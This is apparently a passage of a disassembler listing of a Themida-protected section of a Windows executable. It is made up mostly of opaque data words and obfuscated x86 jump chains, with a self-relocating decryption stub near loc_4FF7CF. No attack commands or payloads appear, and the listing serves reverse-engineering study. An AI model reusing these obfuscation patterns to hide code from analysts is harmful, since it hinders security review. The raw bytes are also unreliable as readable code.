0F7236C41h, 948BE9D6h, 0E95CFFFFh dd 0FFFFD51Dh, 0BB53EA01h, 177A2DC5h, 3BE38143h, 8174FE31h dd 0DF6CD4F3h, 51C3813Ch, 0E90B8303h, 0FFFFE6C7h, 4EC81h dd 2C890000h, 81E58924h, 4C5h, 4BA5200h, 29000000h, 0E9555AD5h dd 0FFFF5B64h, 148BD789h, 4C48124h, 0E9000000h, 0FFFF8AE0h dd 5D2434FFh, 0FF63D2E9h, 2434FFFFh, 6884E95Dh, 0E955FFFFh dd 0FFFFB72Bh, 385C581h, 0C14D03B5h, 0E5C104E5h, 0CA03E903h dd 0FA87FFFFh, 4BD7BF57h, 0F781016Bh, 0FE94B428h, 6BE9FA29h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FECB3: ; CODE XREF: Themida_:004FDAC5j mov ecx, [esp] add esp, 4 pop eax loc_4FECBD: ; CODE XREF: Themida_:004F866Cj push ebx jmp loc_4FCA5F ; --------------------------------------------------------------------------- db 56h dd 0C67B68BEh, 5EF0216Fh, 0C7D94505h, 0E9C121F8h, 0FFFF672Bh dd 2995BA52h, 0EAC1761Bh, 0EAC28105h, 0E97D8125h, 287h dd 4C181h, 0B8500000h, 4, 5158C129h, 42474FFh, 9EBBE959h dd 0F701FFFFh, 0FFDE89E9h, 3EE95EFFh, 53FFFFF2h, 0FFE584E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FED19: ; CODE XREF: Themida_:004F4CE9j mov edx, [esp] push edi mov edi, esp jmp loc_4F5524 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFF75DCh, 0BBE6E95Ah, 6851FFFFh, 1751h dd 51241C89h, 0E9C0FEB1h, 4EFCE906h, 0C381FFFFh, 4, 8704EB83h dd 895C241Ch, 0B0BE2434h, 21498C24h, 93E95EF7h, 5AFFFF66h dd 55E68956h, 4BDh, 5DEE0100h, 4B850h, 0C6010000h, 0AD04E958h dd 0E381FFFFh, 6E653463h, 665AEB81h, 0E5E96BF7h, 0FEFFFFB3h dd 6601244Ch, 80CEFE5Ah, 0C3800BC6h, 80F300FCh, 5AFCEBh dd 0AC4BE9C3h, 2BFFFFFh, 55317F3Ch, 80C402BDh, 9528E9CEh dd 3489FFFFh, 0F929E924h, 90B8FFFFh, 0E9210C34h, 0FFFF7059h dd 2D4555BEh, 653BE962h, 8B66FFFFh, 10E9240Ch, 89FFFFAAh dd 4C581E5h, 81000000h, 4C5h, 242C8700h, 65C6815Ch, 593B4952h dd 4247401h, 0FFB5FBE9h, 4C481FFh, 80000000h, 0B353B5EEh dd 0AEC38042h, 0E2B652h, 0EB805AF3h, 0AEB8067h, 0E5E9DE30h dd 5CFFFF64h, 4244431h, 0FFD4E3E9h, 8DC581FFh, 294C7555h dd 0FEEAE9EBh, 2D58FFFFh, 753332DEh, 8BC23159h, 0C4832404h dd 0E9D60104h, 0FFFFD218h, 0D3F7D3F7h, 222AC381h, 0E9812429h dd 54B27555h, 0C181D901h, 54B27555h, 4C1815Bh, 87000000h dd 15C240Ch, 242C8BEBh, 8104C483h, 621611C3h, 81C3017Fh dd 621611EBh, 0E1BE567Fh, 29611050h, 24348BF3h, 5304C483h dd 236401BBh, 5BDA010Ah, 3DBBF57h, 81E916F5h, 89000003h dd 0F2B1240Ch, 76B45052h, 96B05066h, 88C18851h, 586659CAh dd 0FF6841E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FEEC5: ; CODE XREF: Themida_:004F6CD2j mov [esp], ebp jmp loc_4F7B18 ; --------------------------------------------------------------------------- db 51h, 0E9h, 6 dd 68FFFFE5h, 6150h, 0BF243C89h, 53DA4A36h, 0F787DFF7h dd 0D1F78746h, 65C781E7h, 5515965Bh, 0FFDDD7E9h, 575A54FFh dd 8904EC83h, 32B9240Ch, 896B8549h, 0C78159CFh, 947AB6D2h dd 3C8BFA01h, 0D8E95024h, 0FFFFFF55h, 0E9592434h, 0FFFF8005h dd 2D78BF57h, 0BA526DDDh, 742B1496h, 475AD721h, 58EF8147h dd 5519EE3Eh, 1AC5B6BDh, 5DEF294Ah, 0E95FF901h, 0FFFFA9B6h dd 0C381FB01h, 30C94287h, 74FF535Fh, 0E95B0424h, 0FFFFD5A8h dd 41AAE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FEF62: ; CODE XREF: Themida_:004F5957j neg eax add eax, 6E8B0BDBh sub eax, 1CB94125h jmp loc_4FBE4D ; --------------------------------------------------------------------------- db 81h dd 7B13DEEAh, 0A6EA8103h, 817CBC51h, 9DEA8AF2h, 0E9D60104h dd 0FFFFDE2Bh ; --------------------------------------------------------------------------- loc_4FEF8C: ; CODE XREF: Themida_:004F5B50j sub esp, 4 mov [esp], ebp jmp loc_4FAEC2 ; --------------------------------------------------------------------------- dw 205h dd 87000000h, 665C2404h, 9C240431h, 0FF3F47E9h, 241C8BFFh dd 4C483h, 51665AD0h, 0C828AFB1h, 8DE95966h, 81FFFF8Ch dd 4C3h, 4C38300h, 5C241C87h, 5AB85056h, 894CE841h, 2BE958C6h dd 0B7FFFFC2h, 5BFD8827h, 0FF6AFCE9h, 4C483FFh, 0E924048Fh dd 0FFFFA81Ah, 70DF68h, 243C8900h, 33241C31h, 1C31241Ch dd 31D3F724h, 1C33241Ch, 241C3124h, 0FF4327E9h, 0BB5352FFh dd 403499Fh, 815BDA89h, 94C39AC2h, 5AD02966h, 4EC8155h dd 89000000h, 0BB241Ch, 83000020h, 0DAE904ECh, 81FFFF4Bh dd 955B50C3h, 44EB8104h, 51045D5Ah, 4E0A86B9h, 8AE98108h dd 81C1C496h, 0DA34BAC3h, 81CB2974h, 0DA34BAEBh, 0C2315974h dd 0FFDD00E9h, 2CE95EFFh, 0E9FFFF95h, 0FFFF3E7Ch, 0E06DE959h dd 0C868FFFFh, 8900007Fh, 0EC83242Ch, 243C8904h, 0A1029DBFh dd 5FFD8902h, 4C7EBE56h, 0BB536A05h, 14A4A43h, 2D5BDE29h dd 6B5F17F3h, 0F305F001h, 0FF6B5F17h, 835E2434h, 0E82904C4h dd 0BB023B2Dh, 242C8B68h, 0FFF568E9h, 0D0E680FFh, 2870F680h dd 0D8285AF3h, 52241C8Bh, 3C8E9h, 9FE95E00h, 66FFFFA5h dd 0C0D2F658h, 0B55106EAh, 8BEA00D7h, 0C483240Ch, 8BD02804h dd 2BE92414h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FF0FB: ; CODE XREF: Themida_:004F3C9Bj mov eax, [esp] add esp, 4 jmp loc_4F5FFF ; --------------------------------------------------------------------------- dw 0C481h dd 2, 5BE26866h, 0FFC5ABE9h, 3CE95FFFh, 81000002h, 4C3h dd 4893E900h, 0C89FFFFh, 9649E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FF12E: ; CODE XREF: Themida_:004F4174j pop ebx sub esp, 4 mov [esp], ebx push esi push 0DDF5E6Bh jmp loc_4F3DF4 ; --------------------------------------------------------------------------- db 0F7h dd 0E99C241Ch, 0FFFF3DA8h, 8C3C76B9h, 8BCB011Bh, 0C481240Ch dd 4, 0E92434FFh, 0FFFF94E5h ; --------------------------------------------------------------------------- loc_4FF164: ; CODE XREF: Themida_:004F34C2j and edx, 56D80B1Fh not edx add edx, 14D8080Eh add ebx, edx pop edx push eax mov eax, 2 jmp loc_4FACA8 ; --------------------------------------------------------------------------- dd 0E904EB83h, 0FFFFA915h, 4240483h, 4C7815Fh, 0E9000000h dd 0FFFFF339h ; --------------------------------------------------------------------------- loc_4FF198: ; CODE XREF: Themida_:004FEB34j push esi mov esi, 9D762DBh sub esi, 9D762D7h add ebx, esi mov esi, [esp] add esp, 4 jmp loc_4F3533 ; --------------------------------------------------------------------------- db 58h, 5, 4 dd 83000000h, 41E904ECh, 87FFFF96h, 55C2434h, 33AF5661h dd 0BA52D801h, 33AF5661h, 0F005BD05h, 2DD02926h, 26F005BDh dd 23D92D5Ah, 0F0687DADh, 89000054h, 0A4B9240Ch, 4974C321h dd 8141D1F7h, 845C2BE9h, 0CA5DE909h, 0ED81FFFFh, 2A564BFDh dd 0FF9E99E9h, 2434FFFFh, 4C48358h, 4EC81h, 5E90000h, 0B7FFFFDCh dd 30ABB5B6h, 32C5BFDh, 0E951E800h, 0FFFFCB4Eh, 6462C281h dd 0E95354EBh, 0FFFF4884h, 0B6A5EA81h, 0D701D66Dh, 4C7815Ah dd 87000000h, 0E95C243Ch, 0FFFF3CA4h, 0E9FD015Bh, 0FFFFFEBDh dd 6739C781h, 0CF017616h, 6739EF81h, 0EC817616h, 4, 0B8240489h dd 24C801AEh, 0D0F7D8F7h, 0FFD0E4E9h, 4FD72DFFh, 0C2895C56h dd 0E7CCE958h, 0F281FFFFh, 0E417256h, 0FF4EFDE9h, 8076B2FFh dd 0E2C042CAh, 4EC8307h, 0B4240489h, 85B151EFh, 0D1F6C9FEh dd 80FFE980h, 0E98048E9h, 59CC2063h, 20ADEC80h, 24048BE2h dd 0D52DE952h, 0E883FFFFh, 24043304h, 33240431h, 895C2404h dd 81E9240Ch, 66FFFFB1h, 9C2404D3h, 0FF3C0FE9h, 91F380FFh dd 0F65BD988h, 54B8E9D9h, 348BFFFFh, 4C48324h, 4C481h dd 5AF70000h, 386A8338h, 386AC101h, 386A8108h, 0CF8DAFh dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 30682404h dd 8B000000h, 0C4832404h, 593FE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FF336: ; CODE XREF: Themida_:004FA0E0j push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp push 2408h jmp loc_4FF4E7 ; --------------------------------------------------------------------------- dw 8F66h dd 56E92404h, 57FFFFB6h, 0FFCEE5E9h, 0BDE95DFFh, 0FFFFFF90h dd 815F2434h, 4C4h, 0E0895000h, 405h, 4E88300h, 8B240487h dd 0C892424h, 16824h, 34FF0000h, 89515924h, 4C181E1h, 0E9000000h dd 0FFFF5D13h, 6E59E959h, 8B66FFFFh, 7D682404h, 89000079h dd 0E0892404h, 2DEDBB53h, 0B9512DD1h, 433D0F2Fh, 5159CB31h dd 0B05A8FB9h, 2DE98164h, 8108D534h, 1321EAE1h, 0E9814945h dd 12B4C8FBh, 0F759CB01h, 0FFC381D3h, 57FFFFFFh, 6778F1BFh dd 0E9FB3113h, 0FFFF4CB2h, 4EC81h, 1C890000h, 56E38924h dd 0AF54E950h, 2966FFFFh, 380566E8h, 665D6664h, 1B686655h dd 665D669Bh, 6608A205h, 5366E801h, 0FFEB42E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FF41D: ; CODE XREF: Themida_:004F6F41j xor [esp+4], edx jmp loc_4F45B6 ; --------------------------------------------------------------------------- loc_4FF426: ; CODE XREF: Themida_:004F5AA4j pop esp sub esp, 4 mov [esp], ecx jmp loc_4F8EC0 ; --------------------------------------------------------------------------- loc_4FF432: ; CODE XREF: Themida_:004F7C39j xor ecx, edx pop edx xor ebx, ecx pop ecx jmp loc_4F7F31 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 6D2CBA52h, 2FE93A89h, 0ACFFFF4Eh, 142C8C2Ch, 1404D800h dd 310168h, 240C8900h, 0FF4EC9E9h, 81D6F7FFh, 0B3263EF6h dd 77BA6859h, 0E6E90000h, 0BBFFFF45h, 5A0031C6h, 42E9D331h dd 83FFFFAEh, 5E042404h, 0BDBE5655h, 0BD20CF3Fh, 0DF30C047h dd 0FFAA5CE9h, 5AD101FFh, 5759C831h, 0FFBE14E9h, 565A54FFh dd 7929BD55h, 0F58110A0h, 10A0792Dh, 815DEE89h, 0D717D8C2h dd 81F2014Eh, 0D717D8EAh, 0C2815E4Eh, 4, 5C241487h, 684EC380h dd 879h, 0B2241489h, 0E9E2D0B0h, 0FFFF548Fh, 0CAE95450h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FF4E7: ; CODE XREF: Themida_:004FF349j mov [esp], edx jmp loc_4F8B93 ; --------------------------------------------------------------------------- db 4Ah dd 0D0FFFFD0h, 0EB005562h, 44000008h, 8D005516h, 28FA4BB0h dd 5400559Bh, 17FFFFA7h, 2000002h, 1000000h, 6000000h dd 8D000000h, 0FA4BB0h, 4 dup(0) dd 0A6000000h, 2B00507Fh, 0C100513Dh, 0B900504Eh, 0A40050E0h dd 370050CCh, 0E800503Dh, 33005001h, 9C0050F2h, 140050CAh dd 200504Bh, 2600506Eh, 330050DAh, 0CE005104h, 7B0050B3h dd 0CB005069h, 0E5005126h, 4C0050DEh, 3E005117h, 0E5005080h dd 0F300514Ah, 0DA0050DCh, 7C005136h, 57005015h, 0B0005142h dd 700500Fh, 0AE0050EEh, 6A0050F5h, 70005022h, 0B40050FFh dd 330050C3h, 5E005098h, 3700507Ch, 9F005003h, 3800508Bh dd 0D50050CDh, 70050A6h, 3C0050BAh, 0B700514Bh, 33005060h dd 66004FFBh, 8D005109h, 0CE00507Dh, 930050F6h, 0AA00503Dh dd 2B0050A2h, 4F00501Eh, 0D9005104h, 0EA005007h, 9D005102h dd 8B005108h, 36005134h, 9200514Eh, 830050C5h, 670050F1h dd 0CC0050C7h, 0F20050D3h, 0D2005009h, 5E00505Ah, 0E60050D5h dd 3B0050DDh, 2E0050AEh, 13005122h, 5C00509Ah, 3D005012h dd 360050E9h, 0F2005033h, 4E0050A1h, 0F4005018h, 0C5005133h dd 0E3005092h, 6D00509Ch, 9C005082h, 99005005h, 0CB005084h dd 95005041h, 0B2005101h, 31005144h, 20050A8h, 0C2005076h dd 3000506Dh, 0B00050A2h, 0C50050DEh, 0F80050B5h, 5D005073h dd 66005146h, 0BA005084h, 17005103h, 4A005107h, 3000506Fh dd 40050B6h, 41005121h, 5C005016h, 0D005044h, 0BE00513Ch dd 3D004FFCh, 0A1005124h, 27005134h, 71005044h, 47004FFFh dd 7700507Ah, 4900505Fh, 3900514Ch, 0DA005007h, 63005078h dd 40050A3h, 0D6005040h, 0AE005139h, 0BF005061h, 0FB005004h dd 6E0050C6h, 5B005083h, 0E200510Eh, 53004FFBh, 0E900513Fh dd 0E4005064h, 270050AEh, 93004FF9h, 55005121h, 0AD005043h dd 1C00512Fh, 24005029h, 8E00501Ch, 4100503Fh, 58005003h dd 2D005120h, 4F0050FEh, 7D005086h, 0EA005033h, 3200503Fh dd 3F0050C6h, 0CC00503Dh, 64005135h, 7400507Fh, 7E005072h dd 220050E1h, 560050EAh, 460050F2h, 0ED0050F6h, 0C00500Fh dd 57005146h, 3F005056h, 610050B2h, 780050F8h, 0FB0050E2h dd 3C0050F7h, 0A300513Ah, 0DA00502Ch, 0E30050CDh, 0EB00510Ah dd 120050BFh, 68005132h, 930050DEh, 0F00513Ah, 2E00508Bh dd 7C00506Fh, 0D700501Dh, 80050F1h, 80005049h, 0BD0050A2h dd 0A80050E8h, 0F6005006h, 10005122h, 58005104h, 0A4005072h dd 0B6005036h, 0EB005098h db 35h, 51h, 0 ; --------------------------------------------------------------------------- loc_4FF7CF: ; CODE XREF: Themida_:005461C7j ; Themida_:005515BAj pusha pushf cld call $+5 pop edi sub edi, 604474Ah mov eax, edi add edi, 6044462h cmp eax, [edi+2Ch] jnz short loc_4FF7ED jmp short loc_4FF800 ; --------------------------------------------------------------------------- loc_4FF7ED: ; CODE XREF: Themida_:004FF7E9j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_4FF7FC ; --------------------------------------------------------------------------- loc_4FF7F7: ; CODE XREF: Themida_:004FF7FEj add [edi+ecx*4+40h], eax dec ecx loc_4FF7FC: ; CODE XREF: Themida_:004FF7F5j or ecx, ecx jnz short loc_4FF7F7 loc_4FF800: ; CODE XREF: Themida_:004FF7EBj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_4FF80D: ; CODE XREF: Themida_:004FF814j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_4FF80D loc_4FF816: ; CODE XREF: Themida_:loc_5003F2j ; Themida_:00500BF7j ... lodsb push dx mov dl, 0E9h add al, 0C2h add al, dl sub al, 0C2h mov dx, [esp] push 138h jmp loc_514C33 ; --------------------------------------------------------------------------- db 81h dd 710982C5h, 52F5811Eh, 291F8F5Dh, 4F6FE9E9h, 0DF290001h dd 13C1AE9h db 0 ; --------------------------------------------------------------------------- loc_4FF849: ; CODE XREF: Themida_:00501257j pop edi sub esp, 4 mov [esp], eax push edx push 2B50445Fh pop edx jmp loc_50D12A ; --------------------------------------------------------------------------- dd 0D1685156h, 8B135817h, 0C481240Ch, 4, 2404FF51h, 4F6BE9h dd 0C3315E00h, 6C6C68h, 240C8900h, 75C7BB53h, 0D9892F57h dd 8BCA015Bh, 0C481240Ch, 4, 49BDEA81h, 70E92C1Bh, 810000C4h dd 672848C5h, 81D5010Ch, 672848EDh, 70BEE90Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FF8B2: ; CODE XREF: Themida_:0050026Ej mov ecx, edx pop edx or ebp, ecx pop ecx jmp loc_501A89 ; --------------------------------------------------------------------------- loc_4FF8BD: ; CODE XREF: Themida_:00514428j push edx jmp loc_509711 ; --------------------------------------------------------------------------- aUrQsq db 'RQq',0 dd 0D2B35300h, 0C087EB80h, 65E908EBh db 0E7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FF8DB: ; CODE XREF: Themida_:0050F722j push ebp mov ebp, 754001C2h push ebx push 10D2h mov [esp], edi mov edi, 5A2C4E82h mov ebx, edi pop edi or ebp, ebx pop ebx not ebp sub esp, 4 jmp loc_5064D4 ; --------------------------------------------------------------------------- db 87h dd 5A5C2404h, 0FFFF0DE9h, 0E9D829FFh, 2C16h, 4C481h, 0BA520000h dd 4, 13FFBA52h, 7E93E6Ah, 66000081h, 0E924048Bh, 6974h ; --------------------------------------------------------------------------- loc_4FF930: ; CODE XREF: Themida_:00511F5Dj xchg ebx, [esp] pop esp or edi, 4EAB7599h shl edi, 1 add edi, 22090006h add ebp, 65653EB8h add ebp, edi sub esp, 4 jmp loc_51272C ; --------------------------------------------------------------------------- db 89h, 0E2h, 81h dd 4C2h, 4C28100h, 87000000h, 15C2414h, 713E05D8h, 0F4E90B64h dd 100005Ah, 0C1A0E9F3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FF97A: ; CODE XREF: Themida_:005147DEj sub ebp, 64240988h push edi mov edi, 52BF7EC5h not edi jmp loc_5096D1 ; --------------------------------------------------------------------------- aSQ db '[<Q',0 dw 8F00h dd 0BA522404h, 3E8146F2h, 0A57CA81h, 0F2811BD1h, 3FD14EF3h dd 4245401h, 24048F5Ah, 4240483h, 0E1BD555Ah, 52463815h dd 3B00E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FF9C2: ; CODE XREF: Themida_:0050DC83j push bx push eax mov ah, 58h mov bl, ah pop eax push ecx mov cl, 17h sub al, cl pop ecx jmp loc_50875C ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 790AE9h db 0 ; --------------------------------------------------------------------------- loc_4FF9DD: ; CODE XREF: Themida_:0050EA7Aj pop esp loc_4FF9DE: ; CODE XREF: Themida_:0050F7EDj sub esp, 4 mov [esp], ebx push edi sub esp, 4 mov [esp], ebp push 367D26E2h mov ebp, [esp] add esp, 4 jmp loc_50E1DA ; --------------------------------------------------------------------------- loc_4FF9FE: ; CODE XREF: Themida_:00505881j pop edi xchg ebx, [esp] pop esp sub ebp, 66325122h sub ebp, ecx add ebp, 66325122h jmp loc_50E440 ; --------------------------------------------------------------------------- loc_4FFA16: ; CODE XREF: Themida_:005142AFj mov [esp], ebx jmp loc_512B10 ; --------------------------------------------------------------------------- dw 1C89h dd 94685524h, 5D03FA52h, 0D85DED81h, 0EB89B4A8h, 0B5BA525Dh dd 0E9646172h, 9C5Ah ; --------------------------------------------------------------------------- loc_4FFA3C: ; CODE XREF: Themida_:0050FED3j mov edi, 17867A44h xor edi, ebx mov ebx, [esp] add esp, 4 add edi, 133434Ch dec edi shl edi, 1 jmp loc_5111FC ; --------------------------------------------------------------------------- loc_4FFA57: ; CODE XREF: Themida_:00513A4Fj add esp, 4 jmp loc_500E17 ; --------------------------------------------------------------------------- aSs9t db 'S9t',0 align 4 dd 0F5C66005h, 58C5218Bh, 0FFFFBF57h, 0FBE9FFFFh db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FFA7B: ; CODE XREF: Themida_:00504C3Bj mov ebp, edx pop edx mov edi, ebp push dword ptr [esp] mov ebp, [esp] jmp loc_510652 ; --------------------------------------------------------------------------- db 89h dd 0E789243Ch, 0A1E68h, 241C8900h, 882825BBh, 8E3C130h dd 0DB04C381h, 0DF0177D7h, 0D9BB535Bh, 0E94DE921h, 8D1Ch dd 59EC88h, 24048BE7h, 8A49E9h, 46EE8100h, 19F7651h, 2434FFF1h dd 0F694E9h, 243C8900h, 0BC43E9h, 24448100h, 11550E04h dd 39BB5317h, 8176120Ah, 0B082444h, 2935B55Bh, 8108245Ch dd 0B08246Ch, 8B35B55Bh, 8952241Ch, 4C281E2h, 81000000h dd 4C2h, 0CA76E900h, 34FF0000h, 912DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FFB1A: ; CODE XREF: Themida_:00509C61j push ebx jmp loc_50D218 ; --------------------------------------------------------------------------- dd 0FFFFFFBAh, 5AD329FFh, 0D7F7FB87h, 8BE9FB87h, 66000028h dd 6824048Bh, 3815h, 129B4E9h, 2DE80100h, 596963EAh, 0ABB535Dh dd 0F7173378h, 0A43E9DBh, 0BB530001h, 2, 5D00EA81h, 0DA013E87h dd 5D00C281h, 4FE93E87h, 3300006Eh, 0FF5C2404h, 34FF2434h dd 2434FF24h, 5024048Bh, 405E089h, 0E9000000h, 10E5Ah ; --------------------------------------------------------------------------- loc_4FFB8C: ; CODE XREF: Themida_:00508FB6j add edi, esi jmp loc_503B78 ; --------------------------------------------------------------------------- db 89h dd 4C581E5h, 81000000h, 4C5h, 242C8700h, 7E3FE9h db 0 ; --------------------------------------------------------------------------- loc_4FFBA9: ; CODE XREF: Themida_:00511353j add ecx, esi pop esi sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_50A90C ; --------------------------------------------------------------------------- loc_4FFBB8: ; CODE XREF: Themida_:005037EAj pop edi add edi, 4 sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_50E8DD ; --------------------------------------------------------------------------- db 29h, 0CBh, 59h dd 8324048Bh, 0FF6604C4h, 0FC34E930h, 8B66FFFFh, 0E955240Ch dd 146B0h ; --------------------------------------------------------------------------- loc_4FFBEC: ; CODE XREF: Themida_:005142F2j push ebx mov bl, ch jmp loc_50F572 ; --------------------------------------------------------------------------- dd 42474FFh, 81243C8Bh, 4C4h, 24048F00h, 8924248Bh, 0E0892404h dd 405h, 4EC8300h, 82E9E9h, 0FBF8E900h, 0B951FFFFh, 3D1869FAh dd 105FEE9h, 14F65100h, 0C471E924h, 0EAB80000h, 0C1147451h dd 0E0C105E0h, 5D8F702h, 5822CE41h, 8F3EF81h, 0C70152A3h dd 8F3C781h, 315852A3h, 2434FFFBh, 192E95Fh, 4870000h dd 0B9515C24h, 4, 8759CE29h, 248B2434h, 6B99E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FFC76: ; CODE XREF: Themida_:005071B2j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_50FEA1 ; --------------------------------------------------------------------------- loc_4FFC85: ; CODE XREF: Themida_:00514233j add edi, 4 push eax mov eax, 2 push esi mov esi, 511541C2h and esi, 2FC15B5Ch xor esi, 45B77076h jmp loc_501F6C ; --------------------------------------------------------------------------- aTsI db 'T|',0 align 2 dw 895Ch dd 8157242Ch, 4ECh, 0D7A4E900h, 34FF0000h, 0C8685924h dd 0E9000051h, 0E566h ; --------------------------------------------------------------------------- loc_4FFCCC: ; CODE XREF: Themida_:0050328Bj mov esp, [esp] and eax, edx jmp loc_50385D ; --------------------------------------------------------------------------- dw 835Ah dd 96E904C4h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FFCDF: ; CODE XREF: Themida_:00514CF7j mov [esp], edi mov edi, 4 jmp loc_50C159 ; --------------------------------------------------------------------------- dd 3A55CA81h, 0EAC13C94h, 0E2C28102h, 42726022h, 11BE9E9h dd 81C50100h, 0F676DCEDh, 0ABED8140h, 5865B102h, 4EC81h dd 14890000h, 3EBF5724h, 0E953497Dh, 10C90h ; --------------------------------------------------------------------------- loc_4FFD24: ; CODE XREF: Themida_:0050DC65j push edx push eax mov al, 77h push eax not byte ptr [esp] push dword ptr [esp] pop eax add esp, 4 shl al, 7 sub al, 4Ah mov dl, al pop eax push 6B08h mov [esp], eax jmp loc_500DF3 ; --------------------------------------------------------------------------- loc_4FFD4B: ; CODE XREF: Themida_:0050DA8Bj xor ebp, 471D3CF9h add esi, ebp mov ebp, [esp] add esp, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], eax push esp pop eax push edx mov edx, 4 sub eax, 2D4A677Dh add eax, edx push edi mov edi, 6B6512DFh shr edi, 6 inc edi not edi shr edi, 8 sub edi, 0D3B3EAEEh add eax, edi pop edi mov edx, [esp] add esp, 4 sub eax, 2 push 783h mov [esp], eax push dword ptr [esp+4] push dword ptr [esp] pop eax add esp, 4 jmp loc_5127B3 ; --------------------------------------------------------------------------- loc_4FFDB5: ; CODE XREF: Themida_:005129F8j shr ecx, 6 sub esp, 4 mov [esp], ebx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push edi mov edi, 764D1CD0h jmp loc_5147E3 ; --------------------------------------------------------------------------- db 9 dd 0F74B58C3h, 85EB81D3h, 0E9800280h, 6460h, 8104C483h dd 69B1CEBh, 396005E6h, 0D8017858h, 7559E9h, 68D83100h dd 3A2Dh, 83240C89h, 348904ECh, 333AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FFE1A: ; CODE XREF: Themida_:00502123j mov esp, [esp] push esi mov esi, esp add esi, 4 jmp loc_508D40 ; --------------------------------------------------------------------------- loc_4FFE2B: ; CODE XREF: Themida_:0050F4F6j add esp, 4 push ebx mov ebx, 28DE4FC4h shr ebx, 7 sub ebx, 2B8F42E7h xchg edi, ebx inc edi xor ebx, edi xor edi, ebx xor ebx, edi xchg ecx, ebx jmp loc_5047BA ; --------------------------------------------------------------------------- aTsC db '',1Bh,'',0 align 4 dd 24148966h, 0B6E4B551h, 5708E9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FFE62: ; CODE XREF: Themida_:005018AAj pop eax add esp, 4 pop dword ptr [edi+20h] xor dword ptr [edi+20h], 33C905B4h jmp loc_50B2C9 ; --------------------------------------------------------------------------- dd 0E904C483h, 1169Ch, 5A2434FFh, 4C481h, 55530000h, 53455D5Bh dd 1028CE9h, 0FFED8100h, 57FFFFFFh, 1BFh, 0AA25E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FFEA6: ; CODE XREF: Themida_:0050DA9Ej dec ebp jmp loc_5085D6 ; --------------------------------------------------------------------------- dd 4EC8357h, 0E9242489h, 105Eh ; --------------------------------------------------------------------------- loc_4FFEB8: ; CODE XREF: Themida_:00514311j push esp pop dword ptr [esp] push 56B1h mov [esp], ebp push 4 pop ebp jmp loc_502536 ; --------------------------------------------------------------------------- db 89h dd 34FF2404h, 0D1E95824h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FFEDB: ; CODE XREF: Themida_:0050B55Bj push edx mov dl, 20h or dl, 3Ah add dl, 1 add dl, 8 xor dl, 32h jmp loc_50F942 ; --------------------------------------------------------------------------- loc_4FFEEF: ; CODE XREF: Themida_:00511800j xor edi, [esp] xor [esp], edi push dword ptr [esp] pop eax push 13EAh jmp loc_50D28D ; --------------------------------------------------------------------------- db 89h dd 0BF572414h, 0A6B67D5h, 9E9FA89h db 9Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FFF13: ; CODE XREF: Themida_:0050EF90j pop esp jmp loc_50F0DB ; --------------------------------------------------------------------------- loc_4FFF19: ; CODE XREF: Themida_:00513FC5j mov edx, [esp] add esp, 4 add edx, 4 push ebp mov ebp, 4 add edx, ebp pop ebp xchg edx, [esp] mov esp, [esp] shr eax, 8 xor eax, ecx jmp loc_509A58 ; --------------------------------------------------------------------------- loc_4FFF3E: ; CODE XREF: Themida_:00509100j pop esi jmp loc_5097D1 ; --------------------------------------------------------------------------- dd 5503EBC1h, 0B737C4BDh, 5DEB0135h, 4FA8BF57h, 0CF812604h dd 498F0EF9h, 1FA2CF81h, 0DFF775C5h, 0F781D7F7h, 0B8AC842Dh dd 0AF03E9h, 24048B00h, 380768h, 241C8900h, 0BEF1E954h dd 0E8000000h, 2CD82859h, 0E91Eh, 68660000h, 8966707Fh dd 6DB22414h, 0D0289D04h, 82E9E9h db 0 ; --------------------------------------------------------------------------- loc_4FFFA1: ; CODE XREF: Themida_:005039D1j add [esp+4], ebp pop ebp pop ecx jmp loc_51439F ; --------------------------------------------------------------------------- dd 4BEh, 0E9F32900h, 7190h, 0E1C38166h, 0C3296625h, 0E1EB8166h dd 0C3816625h, 81663801h, 0E90B4FEBh, 2239h, 425BF581h dd 7BE97AA0h, 81000030h, 0C83237C7h, 0A2BD551Dh, 4D324F3Fh dd 328BE581h, 0DE913EBh db 6, 1, 0 ; --------------------------------------------------------------------------- loc_4FFFF7: ; CODE XREF: Themida_:00506EB6j pop esi add ecx, edx mov edx, [esp] add esp, 4 add ecx, edi push esi mov esi, 737C294Ch sub ecx, esi pop esi jmp loc_503314 ; --------------------------------------------------------------------------- db 0FFh a4SP db '4$鷯',0 dw 0C100h dd 0EED102E6h, 14C8C681h, 0D6F71654h, 0E0A2E9h db 0 